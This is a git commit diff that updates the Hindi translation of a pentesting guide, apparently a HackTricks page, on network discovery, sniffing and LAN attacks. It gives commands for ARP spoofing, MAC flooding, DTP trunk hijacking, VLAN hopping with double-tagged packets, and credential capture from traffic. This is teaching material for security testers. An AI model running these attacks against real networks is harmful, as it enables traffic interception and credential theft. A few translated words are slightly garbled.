Translated ['src/generic-methodologies-and-resources/pentesting-network/

This commit is contained in:
Translator 2025-07-30 04:48:59 +00:00
parent c5dde7f077
commit b93e673cc3
4 changed files with 290 additions and 90 deletions

View File

@ -21,6 +21,7 @@
- [Network Protocols Explained (ESP)](generic-methodologies-and-resources/pentesting-network/network-protocols-explained-esp.md)
- [Nmap Summary (ESP)](generic-methodologies-and-resources/pentesting-network/nmap-summary-esp.md)
- [Pentesting IPv6](generic-methodologies-and-resources/pentesting-network/pentesting-ipv6.md)
- [Telecom Network Exploitation](generic-methodologies-and-resources/pentesting-network/telecom-network-exploitation.md)
- [WebRTC DoS](generic-methodologies-and-resources/pentesting-network/webrtc-dos.md)
- [Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks](generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
- [Spoofing SSDP and UPnP Devices with EvilSSDP](generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md)

View File

@ -13,7 +13,7 @@
यह यह पता लगाने का **सबसे आसान** और **तेज़** तरीका है कि कोई होस्ट चालू है या नहीं।\
आप कुछ **ICMP** पैकेट भेजने की कोशिश कर सकते हैं और **प्रतिक्रिया की उम्मीद** कर सकते हैं। सबसे आसान तरीका बस एक **इको अनुरोध** भेजना और प्रतिक्रिया की उम्मीद करना है। आप इसे एक साधारण `ping` का उपयोग करके या **रेंज** के लिए `fping` का उपयोग करके कर सकते हैं।\
आप अन्य प्रकार के ICMP पैकेट भेजने के लिए **nmap** का भी उपयोग कर सकते हैं (यह सामान्य ICMP इको अनुरोध-प्रतिक्रिया के लिए फ़िल्टर से बचने में मदद करेगा)।
आप **nmap** का उपयोग करके अन्य प्रकार के ICMP पैकेट भी भेज सकते हैं (यह सामान्य ICMP इको अनुरोध-प्रतिक्रिया के लिए फ़िल्टर से बचने में मदद करेगा)।
```bash
ping -c 1 199.66.11.4 # 1 echo request to a host
fping -g 199.66.11.0/24 # Send echo requests to ranges
@ -21,8 +21,8 @@ nmap -PE -PM -PP -sn -n 199.66.11.0/24 #Send echo, timestamp requests and subnet
```
### TCP Port Discovery
यह बहुत सामान्य है कि सभी प्रकार के ICMP पैकेट फ़िल्टर किए जा रहे हैं। फिर, एक होस्ट के चालू होने की जांच करने के लिए, आप केवल **खुले पोर्ट खोजने**ी कोशिश कर सकते हैं। प्रत्येक होस्ट के पास **65535 पोर्ट** होते हैं, इसलिए, यदि आपके पास "बड़ा" दायरा है, तो आप **प्रत्येक पोर्ट** की जांच नहीं कर सकते कि वह खुला है या नहीं, इससे बहुत समय लगेगा।\
फिर, आपको एक **तेज़ पोर्ट स्कैनर** ([masscan](https://github.com/robertdavidgraham/masscan)) और **सबसे अधिक उपयोग किए जाने वाले पोर्टों** की एक सूची की आवश्यकता है:
यह बहुत सामान्य है कि सभी प्रकार के ICMP पैकेट फ़िल्टर किए जा रहे हैं। फिर, एक होस्ट के चालू होने की जांच करने के लिए, आप केवल **खुले पोर्ट खोजने**ा प्रयास कर सकते हैं। प्रत्येक होस्ट के पास **65535 पोर्ट** होते हैं, इसलिए, यदि आपके पास "बड़ा" दायरा है, तो आप **प्रत्येक पोर्ट** की जांच नहीं कर सकते कि वह खुला है या नहीं, इससे बहुत समय लगेगा।\
फिर, आपको एक **तेज़ पोर्ट स्कैनर** ([masscan](https://github.com/robertdavidgraham/masscan)) और **अधिक उपयोग किए जाने वाले पोर्टों** की एक सूची की आवश्यकता है:
```bash
#Using masscan to scan top20ports of nmap in a /24 range (less than 5min)
masscan -p20,21-23,25,53,80,110,111,135,139,143,443,445,993,995,1723,3306,3389,5900,8080 199.66.11.0/24
@ -31,21 +31,21 @@ masscan -p20,21-23,25,53,80,110,111,135,139,143,443,445,993,995,1723,3306,3389,5
### HTTP पोर्ट खोज
यह केवल एक TCP पोर्ट खोज है जो तब उपयोगी होती है जब आप **HTTP** **सेवाओं** की खोज पर ध्यान केंद्रित करना चाहते हैं:
यह केवल एक TCP पोर्ट खोज है जो तब उपयोगी होती है जब आप **HTTP** **सेवाओं** की खोज पर **ध्यान केंद्रित** करना चाहते हैं:
```bash
masscan -p80,443,8000-8100,8443 199.66.11.0/24
```
### UDP पोर्ट खोज
आप यह भी जांचने की कोशिश कर सकते हैं कि कुछ **UDP पोर्ट खुले** हैं या नहीं ताकि यह तय कर सकें कि आपको **होस्ट** पर **अधिक ध्यान** देना चाहिए या नहीं। चूंकि UDP सेवाएँ आमतौर पर एक सामान्य खाली UDP प्रॉब पैकेट पर **कोई डेटा** के साथ **प्रतिक्रिया नहीं देतीं**, इसलिए यह कहना मुश्किल है कि कोई पोर्ट फ़िल्टर किया जा रहा है या खुला है। इसे तय करने का सबसे आसान तरीका यह है कि चल रही सेवा से संबंधित एक पैकेट भेजें, और चूंकि आप नहीं जानते कि कौन सी सेवा चल रही है, आपको पोर्ट नंबर के आधार पर सबसे संभावित सेवा को आजमाना चाहिए:
आप यह भी जांचने की कोशिश कर सकते हैं कि कुछ **UDP पोर्ट खुले** हैं या नहीं ताकि आप तय कर सकें कि आपको **होस्ट पर अधिक ध्यान देना चाहिए।** चूंकि UDP सेवाएँ आमतौर पर एक सामान्य खाली UDP प्रॉब पैकेट पर **कोई डेटा** के साथ **प्रतिक्रिया नहीं देतीं**, यह कहना मुश्किल है कि कोई पोर्ट फ़िल्टर किया जा रहा है या खुला है। इसे तय करने का सबसे आसान तरीका यह है कि चल रही सेवा से संबंधित एक पैकेट भेजें, और चूंकि आप नहीं जानते कि कौन सी सेवा चल रही है, आपको पोर्ट नंबर के आधार पर सबसे संभावित सेवा को आजमाना चाहिए:
```bash
nmap -sU -sV --version-intensity 0 -F -n 199.66.11.53/24
# The -sV will make nmap test each possible known UDP service packet
# The "--version-intensity 0" will make nmap only test the most probable
```
nmap द्वारा प्रस्तावित लाइन हर होस्ट के **/24** रेंज में **शीर्ष 1000 UDP पोर्ट** का परीक्षण करेगी, लेकिन केवल यही करने में **>20मिनट** लगेंगे। यदि आपको **तेज़ परिणाम** चाहिए, तो आप [**udp-proto-scanner**](https://github.com/portcullislabs/udp-proto-scanner) का उपयोग कर सकते हैं: `./udp-proto-scanner.pl 199.66.11.53/24` यह इन **UDP प्रॉब्स** को उनके **अपेक्षित पोर्ट** पर भेजेगा (एक /24 रेंज के लिए यह केवल 1 मिनट लेगा): _DNSStatusRequest, DNSVersionBindReq, NBTStat, NTPRequest, RPCCheck, SNMPv3GetRequest, chargen, citrix, daytime, db2, echo, gtpv1, ike, ms-sql, ms-sql-slam, netop, ntp, rpc, snmp-public, systat, tftp, time, xdmcp._
nmap द्वारा प्रस्तावित लाइन हर होस्ट के **top 1000 UDP ports** का परीक्षण करेगी **/24** रेंज के अंदर, लेकिन केवल यही करने में **>20min** लगेंगे। यदि आपको **fastest results** चाहिए, तो आप [**udp-proto-scanner**](https://github.com/portcullislabs/udp-proto-scanner) का उपयोग कर सकते हैं: `./udp-proto-scanner.pl 199.66.11.53/24` यह इन **UDP probes** को उनके **expected port** पर भेजेगा (एक /24 रेंज के लिए, यह केवल 1 मिनट लेगा): _DNSStatusRequest, DNSVersionBindReq, NBTStat, NTPRequest, RPCCheck, SNMPv3GetRequest, chargen, citrix, daytime, db2, echo, gtpv1, ike,ms-sql, ms-sql-slam, netop, ntp, rpc, snmp-public, systat, tftp, time, xdmcp._
### SCTP पोर्ट डिस्कवरी
### SCTP Port Discovery
```bash
#Probably useless, but it's pretty fast, why not try it?
nmap -T4 -sY -n --open -Pn <IP/range>
@ -75,7 +75,7 @@ set net.show.meta true #more info
```
### Active
ध्यान दें कि [_**बाहर से होस्ट खोजने**_](#discovering-hosts-from-the-outside) (_TCP/HTTP/UDP/SCTP पोर्ट खोज_) में टिप्पणी की गई तकनीकें भी **यहां लागू की जा सकती हैं**।\
ध्यान दें कि [_**बाहर से होस्ट खोजने की तकनीकें**_](#discovering-hosts-from-the-outside) (_TCP/HTTP/UDP/SCTP पोर्ट खोज_) को भी **यहां लागू किया जा सकता है**।\
लेकिन, चूंकि आप अन्य होस्ट के **समान नेटवर्क** में हैं, आप **अधिक चीजें** कर सकते हैं:
```bash
#ARP discovery
@ -140,8 +140,8 @@ syn.scan 192.168.1.0/24 1 10000 #Ports 1-10000
UDP पोर्ट को स्कैन करने के लिए 2 विकल्प हैं:
- एक **UDP पैकेट** भेजें और यदि पोर्ट **बंद** है तो _**ICMP अप्राप्य**_ के लिए प्रतिक्रिया की जांच करें (कई मामलों में ICMP **फिल्टर** किया जाएगा इसलिए आपको यह जानकारी नहीं मिलेगी कि पोर्ट बंद है या खुला)।
- एक **फॉर्मेटेड डटाग्राम** भेजें ताकि एक **सेवा** (जैसे, DNS, DHCP, TFTP, और अन्य, जो _nmap-payloads_ में सूचीबद्ध हैं) से प्रतिक्रिया प्राप्त की जा सके। यदि आपको एक **प्रतिक्रिया** मिलती है, तो पोर्ट **खुला** है।
- एक **UDP पैकेट** भेजें और यदि पोर्ट **बंद** है तो _**ICMP अनुपलब्ध**_ के लिए प्रतिक्रिया की जांच करें (कई मामलों में ICMP **फिल्टर** किया जाएगा इसलिए आपको यह जानकारी नहीं मिलेगी कि पोर्ट बंद है या खुला)।
- एक **फॉर्मेटेड डटाग्राम** भेजें ताकि एक **सेवा** (जैसे, DNS, DHCP, TFTP, और अन्य, जो _nmap-payloads_ में सूचीबद्ध हैं) से प्रतिक्रिया प्राप्त की जा सके। यदि आपको एक **प्रतिक्रिया** मिलती है, तो पोर्ट **खुला** है।
**Nmap** दोनों विकल्पों को "-sV" का उपयोग करके **मिश्रित** करेगा (UDP स्कैन बहुत धीमे होते हैं), लेकिन ध्यान दें कि UDP स्कैन TCP स्कैन की तुलना में धीमे होते हैं:
```bash
@ -157,9 +157,9 @@ nmap -sU -sV --version-intensity 0 -n -T4 <IP>
```
### SCTP Scan
**SCTP (Stream Control Transmission Protocol)** को **TCP (Transmission Control Protocol)** और **UDP (User Datagram Protocol)** के साथ उपयोग करने के लिए डिज़ाइन किया गया है। इसका मुख्य उद्देश्य IP नेटवर्क पर टेलीफोनी डेटा के परिवहन को सुविधाजनक बनाना है, जो **Signaling System 7 (SS7)** में पाए जाने वाले कई विश्वसनीयता सुविधाओं को दर्शाता है। **SCTP** **SIGTRAN** प्रोटोकॉल परिवार का एक मुख्य घटक है, जिसका उद्देश्य IP नेटवर्क पर SS7 संकेतों का परिवहन करना है।
**SCTP (Stream Control Transmission Protocol)** को **TCP (Transmission Control Protocol)** और **UDP (User Datagram Protocol)** के साथ उपयोग के लिए डिज़ाइन किया गया है। इसका मुख्य उद्देश्य IP नेटवर्क पर टेलीफोनी डेटा के परिवहन को सुविधाजनक बनाना है, जो **Signaling System 7 (SS7)** में पाए जाने वाले कई विश्वसनीयता सुविधाओं को दर्शाता है। **SCTP** **SIGTRAN** प्रोटोकॉल परिवार का एक मुख्य घटक है, जिसका उद्देश्य IP नेटवर्क पर SS7 संकेतों का परिवहन करना है।
**SCTP** के लिए समर्थन विभिन्न ऑपरेटिंग सिस्टम द्वारा प्रदान किया जाता है, जैसे **IBM AIX**, **Oracle Solaris**, **HP-UX**, **Linux**, **Cisco IOS**, और **VxWorks**, जो टेली संचार और नेटवर्किंग के क्षेत्र में इसकी व्यापक स्वीकृति और उपयोगिता को दर्शाता है।
**SCTP** के लिए समर्थन विभिन्न ऑपरेटिंग सिस्टम द्वारा प्रदान किया जाता है, जैसे **IBM AIX**, **Oracle Solaris**, **HP-UX**, **Linux**, **Cisco IOS**, और **VxWorks**, जो टेलीकम्युनिकेशन और नेटवर्किंग के क्षेत्र में इसकी व्यापक स्वीकृति और उपयोगिता को दर्शाता है।
nmap द्वारा SCTP के लिए दो अलग-अलग स्कैन प्रदान किए जाते हैं: _-sY_ और _-sZ_
```bash
@ -182,7 +182,7 @@ nmap-summary-esp.md
### आंतरिक IP पतों का खुलासा
**गलत कॉन्फ़िगर किए गए राउटर, फ़ायरवॉल और नेटवर्क उपकरण** कभी-कभी **गैर-जनता स्रोत पतों** का उपयोग करके नेटवर्क प्रॉब्स का उत्तर देते हैं। **tcpdump** का उपयोग परीक्षण के दौरान निजी पतों से प्राप्त पैकेटों की पहचान करने के लिए किया जा सकता है। विशेष रूप से, Kali Linux पर, पैकेटों को **eth2 इंटरफेस** पर कैप्चर किया जा सकता है, जो सार्वजनिक इंटरनेट से सुलभ है। यह ध्यान रखना महत्वपूर्ण है कि यदि आपकी सेटअप NAT या फ़ायरवॉल के पीछे है, तो ऐसे पैकेटों को फ़िल्टर किया जा सकता है।
**गलत कॉन्फ़िगर किए गए राउटर, फ़ायरवॉल, और नेटवर्क उपकरण** कभी-कभी **गैर-जनता स्रोत पतों** का उपयोग करके नेटवर्क प्रॉब्स का उत्तर देते हैं। **tcpdump** का उपयोग परीक्षण के दौरान निजी पतों से प्राप्त पैकेटों की पहचान के लिए किया जा सकता है। विशेष रूप से, Kali Linux पर, पैकेटों को **eth2 इंटरफेस** पर कैप्चर किया जा सकता है, जो सार्वजनिक इंटरनेट से सुलभ है। यह ध्यान रखना महत्वपूर्ण है कि यदि आपकी सेटअप NAT या फ़ायरवॉल के पीछे है, तो ऐसे पैकेटों को फ़िल्टर किया जा सकता है।
```bash
tcpdump nt -i eth2 src net 10 or 172.16/12 or 192.168/16
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
@ -192,9 +192,9 @@ IP 10.10.0.2 > 185.22.224.18: ICMP echo reply, id 25804, seq 1586, length 64
```
## Sniffing
Sniffing के माध्यम से आप कैप्चर किए गए फ्रेम और पैकेट की समीक्षा करके IP रेंज, सबनेट आकार, MAC पते और होस्टनाम के विवरण जान सकते हैं। यदि नेटवर्क गलत तरीके से कॉन्फ़िगर किया गया है या स्विचिंग फैब्रिक पर तनाव है, तो हमलावर पासिव नेटवर्क स्निफ़िंग के माध्यम से संवेदनशील सामग्री कैप्चर कर सकते हैं।
Sniffing के माध्यम से आप IP रेंज, सबनेट आकार, MAC पते, और होस्टनाम के विवरण जान सकते हैं, कैप्चर किए गए फ्रेम और पैकेट की समीक्षा करके। यदि नेटवर्क गलत तरीके से कॉन्फ़िगर किया गया है या स्विचिंग फैब्रिक पर तनाव है, तो हमलावर पासिव नेटवर्क स्निफ़िंग के माध्यम से संवेदनशील सामग्री कैप्चर कर सकते हैं।
यदि एक स्विच किया गया ईथरनेट नेटवर्क सही तरीके से कॉन्फ़िगर किया गया है, तो आप केवल ब्रॉडकास्ट फ्रेम और आपके MAC पते के लिए निर्धारित सामग्री देखेंगे
यदि एक स्विच किया गया ईथरनेट नेटवर्क सही तरीके से कॉन्फ़िगर किया गया है, तो आप केवल ब्रॉडकास्ट फ्रेम और सामग्री देखेंगे जो आपके MAC पते के लिए निर्धारित है
### TCPDump
```bash
@ -202,7 +202,7 @@ sudo tcpdump -i <INTERFACE> udp port 53 #Listen to DNS request to discover what
tcpdump -i <IFACE> icmp #Listen to icmp packets
sudo bash -c "sudo nohup tcpdump -i eth0 -G 300 -w \"/tmp/dump-%m-%d-%H-%M-%S-%s.pcap\" -W 50 'tcp and (port 80 or port 443)' &"
```
कोई व्यक्ति, Wireshark को GUI के रूप में उपयोग करते हुए, SSH सत्र के माध्यम से एक दूरस्थ मशीन से वास्तविक समय में पैकेट कैप्चर कर सकता है
आप एक SSH सत्र के माध्यम से Wireshark का उपयोग करके एक दूरस्थ मशीन से वास्तविक समय में पैकेट कैप्चर कर सकते हैं
```
ssh user@<TARGET IP> tcpdump -i ens160 -U -s0 -w - | sudo wireshark -k -i -
ssh <USERNAME>@<TARGET IP> tcpdump -i <INTERFACE> -U -s0 -w - 'port not 22' | sudo wireshark -k -i - # Exclude SSH traffic
@ -218,17 +218,17 @@ set net.sniff.regexp #If set only packets matching this regex will be considered
```
### Wireshark
स्पष्ट रूप से
स्पष्ट है
### Capturing credentials
### क्रेडेंशियल कैप्चर करना
आप [https://github.com/lgandx/PCredz](https://github.com/lgandx/PCredz) जैसे टूल का उपयोग करके pcap या लाइव इंटरफेस से क्रेडेंशियल्स को पार्स कर सकते हैं।
## LAN attacks
## LAN हमले
### ARP spoofing
### ARP स्पूफिंग
ARP Spoofing में ग्रैटिट्यूड ARPResponses भेजना शामिल है ताकि यह संकेत दिया जा सके कि एक मशीन का IP हमारे डिवाइस के MAC के साथ है। फिर, पीड़ित ARP तालिका को बदल देगा और हर बार जब वह IP spoofed से संपर्क करना चाहता है, तो हमारी मशीन से संपर्क करेगा।
ARP स्पूफिंग में ग्रैटिटियस ARPResponses भेजना शामिल है ताकि यह संकेत दिया जा सके कि एक मशीन का IP हमारे डिवाइस के MAC के साथ है। फिर, पीड़ित ARP तालिका को बदल देगा और हर बार जब वह स्पूफ किए गए IP से संपर्क करना चाहता है, तो वह हमारी मशीन से संपर्क करेगा।
#### **Bettercap**
```bash
@ -250,15 +250,15 @@ arpspoof -t 192.168.1.2 192.168.1.1
```bash
macof -i <interface>
```
इस आधुनिक स्विच में यह सुरक्षा कमी ठीक कर दी गई है।
इस आधुनिक स्विच में यह सुरक्षा कमी ठीक की गई है।
### 802.1Q VLAN / DTP हमले
#### डायनामिक ट्रंकिंग
**डायनामिक ट्रंकिंग प्रोटोकॉल (DTP)** को एक लिंक लेयर प्रोटोकॉल के रूप में डिज़ाइन किया गया है ताकि ट्रंकिंग के लिए एक स्वचालित प्रणाली को सुगम बनाया जा सके, जिससे स्विच ट्रंक मोड (Trunk) या नॉन-ट्रंक मोड के लिए पोर्ट का स्वचालित चयन कर सकें। **DTP** का उपयोग अक्सर उप-आवश्यक नेटवर्क डिज़ाइन का संकेत माना जाता है, जो केवल आवश्यकतानुसार ट्रंक को मैन्युअल रूप से कॉन्फ़िगर करने और उचित दस्तावेज़ीकरण सुनिश्चित करने के महत्व को उजागर करता है।
**डायनामिक ट्रंकिंग प्रोटोकॉल (DTP)** को एक लिंक लेयर प्रोटोकॉल के रूप में डिज़ाइन किया गया है ताकि ट्रंकिंग के लिए एक स्वचालित प्रणाली को सुगम बनाया जा सके, जिससे स्विच ट्रंक मोड (Trunk) या नॉन-ट्रंक मोड के लिए पोर्ट का स्वचालित चयन कर सकें। **DTP** का उपयोग अक्सर उप-इष्टतम नेटवर्क डिज़ाइन का संकेत माना जाता है, जो केवल आवश्यकतानुसार ट्रंक को मैन्युअल रूप से कॉन्फ़िगर करने और उचित दस्तावेज़ीकरण सुनिश्चित करने के महत्व को उजागर करता है।
डिफ़ॉल्ट रूप से, स्विच पोर्ट को डायनामिक ऑटो मोड में संचालित करने के लिए सेट किया गया है, जिसका अर्थ है कि वे पड़ोसी स्विच द्वारा संकेत मिलने पर ट्रंकिंग शुरू करने के लिए तैयार हैं। एक सुरक्षा चिंता तब उत्पन्न होती है जब एक पेंटेस्टर या हमलावर स्विच से कनेक्ट होता है और एक DTP Desirable फ्रेम भेजता है, जिससे पोर्ट ट्रंक मोड में प्रवेश करने के लिए मजबूर हो जाता है। यह क्रिया हमलावर को STP फ्रेम विश्लेषण के माध्यम से VLANs की गणना करने और वर्चुअल इंटरफेस सेट करके VLAN विभाजन को दरकिनार करने की अनुमति देती है।
डिफ़ॉल्ट रूप से, स्विच पोर्ट को डायनामिक ऑटो मोड में संचालित करने के लिए सेट किया गया है, जिसका अर्थ है कि वे पड़ोसी स्विच द्वारा संकेत मिलने पर ट्रंकिंग शुरू करने के लिए तैयार हैं। एक सुरक्षा चिंता तब उत्पन्न होती है जब एक पेंटेस्टर या हमलावर स्विच से कनेक्ट होता है और एक DTP Desirable फ्रेम भेजता है, जिससे पोर्ट ट्रंक मोड में प्रवेश करता है। यह क्रिया हमलावर को STP फ्रेम विश्लेषण के माध्यम से VLANs की गणना करने और वर्चुअल इंटरफेस सेट करके VLAN विभाजन को दरकिनार करने की अनुमति देती है।
कई स्विच में डिफ़ॉल्ट रूप से DTP की उपस्थिति का शोषण विरोधियों द्वारा स्विच के व्यवहार की नकल करने के लिए किया जा सकता है, जिससे सभी VLANs के बीच ट्रैफ़िक तक पहुंच प्राप्त होती है। स्क्रिप्ट [_**dtpscan.sh**_](https://github.com/commonexploits/dtpscan) का उपयोग एक इंटरफेस की निगरानी के लिए किया जाता है, यह प्रकट करता है कि स्विच डिफ़ॉल्ट, ट्रंक, डायनामिक, ऑटो, या एक्सेस मोड में है—जिसमें से केवल एक्सेस मोड VLAN हॉपिंग हमलों के प्रति प्रतिरक्षित है। यह उपकरण स्विच की सुरक्षा स्थिति का आकलन करता है।
@ -275,7 +275,7 @@ yersinia -G #For graphic mode
```
![](<../../images/image (269).png>)
VLANs की गणना करने के लिए, DTP Desirable फ्रेम को स्क्रिप्ट [**DTPHijacking.py**](https://github.com/in9uz/VLANPWN/blob/main/DTPHijacking.py)** के साथ उत्पन्न करना भी संभव है। **कृपया किसी भी परिस्थिति में स्क्रिप्ट को बाधित न करें। यह हर तीन सेकंड में DTP Desirable को इंजेक्ट करता है। **स्विच पर गतिशील रूप से बनाए गए ट्रंक चैनल केवल पांच मिनट तक जीवित रहते हैं। पांच मिनट के बाद, ट्रंक गिर जाता है।**
VLANs की गणना करने के लिए, DTP Desirable फ्रेम को जनरेट करने के लिए स्क्रिप्ट [**DTPHijacking.py**](https://github.com/in9uz/VLANPWN/blob/main/DTPHijacking.py)** का उपयोग करना भी संभव है। **कृपया किसी भी परिस्थिति में स्क्रिप्ट को बाधित न करें। यह हर तीन सेकंड में DTP Desirable को इंजेक्ट करता है। **स्विच पर गतिशील रूप से बनाए गए ट्रंक चैनल केवल पांच मिनट तक जीवित रहते हैं। पांच मिनट बाद, ट्रंक गिर जाता है।**
```
sudo python3 DTPHijacking.py --interface eth0
```
@ -287,8 +287,8 @@ STP फ्रेम का विश्लेषण करके, **हम VLAN
#### विशिष्ट VLAN पर हमला करना
एक बार जब आप VLAN IDs और IPs मानों को जान लेते हैं, तो आप **विशिष्ट VLAN पर हमला करने के लिए एक वर्चुअल इंटरफेस कॉन्फ़िगर कर सकते हैं।**\
यदि DHCP उपलब्ध नहीं है, तो स्थिर IP पते को सेट करने के लिए _ifconfig_ का उपयोग करें।
एक बार जब आप VLAN IDs और IPs मानों को जान लेते हैं, तो आप **एक विशिष्ट VLAN पर हमला करने के लिए एक वर्चुअल इंटरफेस कॉन्फ़िगर कर सकते हैं।**\
यदि DHCP उपलब्ध नहीं है, तो स्थिर IP पत सेट करने के लिए _ifconfig_ का उपयोग करें।
```
root@kali:~# modprobe 8021q
root@kali:~# vconfig add eth1 250
@ -327,7 +327,7 @@ sudo dhclient -v eth0.30
#### Double Tagging
यदि एक हमलावर को **शिकार होस्ट का MAC, IP और VLAN ID** का मान पता है, तो वह **फ्रेम को डबल टैग** करने की कोशिश कर सकता है जिसमें इसका निर्दिष्ट VLAN और शिकार का VLAN हो और एक पैकेट भेज सकता है। चूंकि **शिकार हमलावर के साथ वापस कनेक्ट नहीं हो पाएगा**, इसलिए **हमलावर के लिए सबसे अच्छा विकल्प UDP के माध्यम से संवाद करना** है ताकि कुछ दिलचस्प क्रियाएँ की जा सकें (जैसे SNMP)।
यदि एक हमलावर को **शिकार होस्ट का MAC, IP और VLAN ID** का मान पता है, तो वह **फ्रेम को डबल टैग** करने की कोशिश कर सकता है जिसमें इसका निर्दिष्ट VLAN और शिकार का VLAN हो और एक पैकेट भेज सकता है। चूंकि **शिकार हमलावर के साथ वापस कनेक्ट नहीं हो पाएगा**, इसलिए **हमलावर के लिए सबसे अच्छा विकल्प UDP के माध्यम से संचार करना** है ताकि कुछ दिलचस्प क्रियाएँ की जा सकें (जैसे SNMP)।
हमलावर के लिए एक और विकल्प है **TCP पोर्ट स्कैन लॉन्च करना, एक IP को स्पूफ करना जो हमलावर द्वारा नियंत्रित है और शिकार द्वारा सुलभ है** (संभवतः इंटरनेट के माध्यम से)। फिर, हमलावर अपने दूसरे होस्ट में स्निफ कर सकता है यदि उसे शिकार से कुछ पैकेट मिलते हैं।
@ -342,7 +342,7 @@ sendp(packet)
```
#### Lateral VLAN Segmentation Bypass <a href="#d679" id="d679"></a>
यदि आपके पास **एक स्विच तक पहुंच है जिससे आप सीधे जुड़े हुए हैं**, तो आपके पास **नेटवर्क के भीतर VLAN विभाजन को बायपास करने** की क्षमता है। बस **पोर्ट को ट्रंक मोड में स्विच करें** (जिसे ट्रंक के रूप में भी जाना जाता है), लक्षित VLANs के IDs के साथ वर्चुअल इंटरफेस बनाएं, और एक IP पता कॉन्फ़िगर करें। आप पता को गतिशील रूप से (DHCP) मांगने की कोशिश कर सकते हैं या आप इसे स्थिर रूप से कॉन्फ़िगर कर सकते हैं। यह मामले पर निर्भर करता है।
यदि आपके पास **एक स्विच तक पहुंच है जिससे आप सीधे जुड़े हुए हैं**, तो आपके पास नेटवर्क के भीतर **VLAN विभाजन को बायपास करने** की क्षमता है। बस **पोर्ट को ट्रंक मोड में स्विच करें** (जिसे ट्रंक के रूप में भी जाना जाता है), लक्षित VLANs के IDs के साथ वर्चुअल इंटरफेस बनाएं, और एक IP पता कॉन्फ़िगर करें। आप पता को गतिशील रूप से (DHCP) मांगने की कोशिश कर सकते हैं या आप इसे स्थिर रूप से कॉन्फ़िगर कर सकते हैं। यह मामले पर निर्भर करता है।
{{#ref}}
lateral-vlan-segmentation-bypass.md
@ -350,18 +350,18 @@ lateral-vlan-segmentation-bypass.md
#### Layer 3 Private VLAN Bypass
कुछ वातावरणों में, जैसे कि अतिथि वायरलेस नेटवर्क, **पोर्ट आइसोलेशन (जिसे प्राइवेट VLAN के रूप में भी जाना जाता है)** सेटिंग्स लागू की जाती हैं ताकि वायरलेस एक्सेस पॉइंट से जुड़े क्लाइंट्स सीधे एक-दूसरे के साथ संवाद न कर सकें। हालाँकि, एक तकनीक पहचानी गई है जो इन आइसोलेशन उपायों को बायपास कर सकती है। यह तकनीक या तो नेटवर्क ACLs की कमी का लाभ उठाती है या उनकी गलत कॉन्फ़िगरेशन का, जिससे IP पैकेट्स को एक राउटर के माध्यम से रूट किया जा सकता है ताकि वे उसी नेटवर्क पर दूसरे क्लाइंट तक पहुँच सकें
कुछ वातावरणों में, जैसे कि अतिथि वायरलेस नेटवर्क, **पोर्ट आइसोलेशन (जिसे प्राइवेट VLAN भी कहा जाता है)** सेटिंग्स लागू की जाती हैं ताकि वायरलेस एक्सेस पॉइंट से जुड़े क्लाइंट एक-दूसरे के साथ सीधे संवाद न कर सकें। हालाँकि, एक तकनीक पहचानी गई है जो इन आइसोलेशन उपायों को बायपास कर सकती है। यह तकनीक या तो नेटवर्क ACLs की कमी या उनकी गलत कॉन्फ़िगरेशन का लाभ उठाती है, जिससे IP पैकेट को एक राउटर के माध्यम से रूट किया जा सकता है ताकि उसी नेटवर्क पर एक अन्य क्लाइंट तक पहुंचा जा सके
हमला एक **पैकेट बनाकर निष्पादित किया जाता है जो लक्ष्य क्लाइंट का IP पता ले जाता है लेकिन राउटर का MAC पता होता है**। इससे राउटर गलती से पैकेट को लक्षित क्लाइंट की ओर अग्रेषित कर देता है। यह दृष्टिकोण डबल टैगिंग हमलों में उपयोग की जाने वाली विधि के समान है, जहा पीड़ित के लिए सुलभ एक होस्ट को नियंत्रित करने की क्षमता का उपयोग सुरक्षा दोष का लाभ उठाने के लिए किया जाता है।
हमला एक **पैकेट बनाकर निष्पादित किया जाता है जो लक्ष्य क्लाइंट का IP पता ले जाता है लेकिन राउटर का MAC पता होता है**। इससे राउटर गलती से पैकेट को लक्षित क्लाइंट की ओर अग्रेषित कर देता है। यह दृष्टिकोण डबल टैगिंग हमलों में उपयोग की जाने वाली विधि के समान है, जहा पीड़ित के लिए सुलभ एक होस्ट को नियंत्रित करने की क्षमता का उपयोग सुरक्षा दोष का लाभ उठाने के लिए किया जाता है।
**हमले के मुख्य चरण:**
1. **पैकेट बनाना:** एक पैकेट विशेष रूप से लक्षित क्लाइंट के IP पते को शामिल करने के लिए तैयार किया जाता है लेकिन राउटर के MAC पते के साथ।
2. **राउटर के व्यवहार का लाभ उठाना:** तैयार पैकेट राउटर क भेजा जाता है, जो कॉन्फ़िगरेशन के कारण पैकेट को लक्षित क्लाइंट की ओर पुनर्निर्देशित करता है, प्राइवेट VLAN सेटिंग्स द्वारा प्रदान की गई आइसोलेशन को बायपास करता है।
2. **राउटर व्यवहार का लाभ उठाना:** तैयार पैकेट राउटर की ओर भेजा जाता है, जो कॉन्फ़िगरेशन के कारण पैकेट को लक्षित क्लाइंट की ओर पुनर्निर्देशित करता है, प्राइवेट VLAN सेटिंग्स द्वारा प्रदान किए गए आइसोलेशन को बायपास करता है।
### VTP Attacks
VTP (VLAN Trunking Protocol) VLAN प्रबंधन को केंद्रीकृत करता है। यह VLAN डेटाबेस की अखंडता बनाए रखने के लिए संशोधन नंबरों का उपयोग करता है; किसी भी संशोधन से यह संख्या बढ़ जाती है। स्विच उच्च संशोधन नंबरों के साथ कॉन्फ़िगरेशन अपनाते हैं, अपने स्वयं के VLAN डेटाबेस को अपडेट करते हैं।
VTP (VLAN ट्रंकिंग प्रोटोकॉल) VLAN प्रबंधन को केंद्रीकृत करता है। यह VLAN डेटाबेस की अखंडता बनाए रखने के लिए संशोधन नंबरों का उपयोग करता है; किसी भी संशोधन से यह संख्या बढ़ जाती है। स्विच उच्च संशोधन नंबरों के साथ कॉन्फ़िगरेशन अपनाते हैं, अपने स्वयं के VLAN डेटाबेस को अपडेट करते हैं।
#### VTP Domain Roles
@ -375,7 +375,7 @@ VTP (VLAN Trunking Protocol) VLAN प्रबंधन को केंद्
- **Subset Advertisement:** VLAN कॉन्फ़िगरेशन परिवर्तनों के बाद भेजा जाता है।
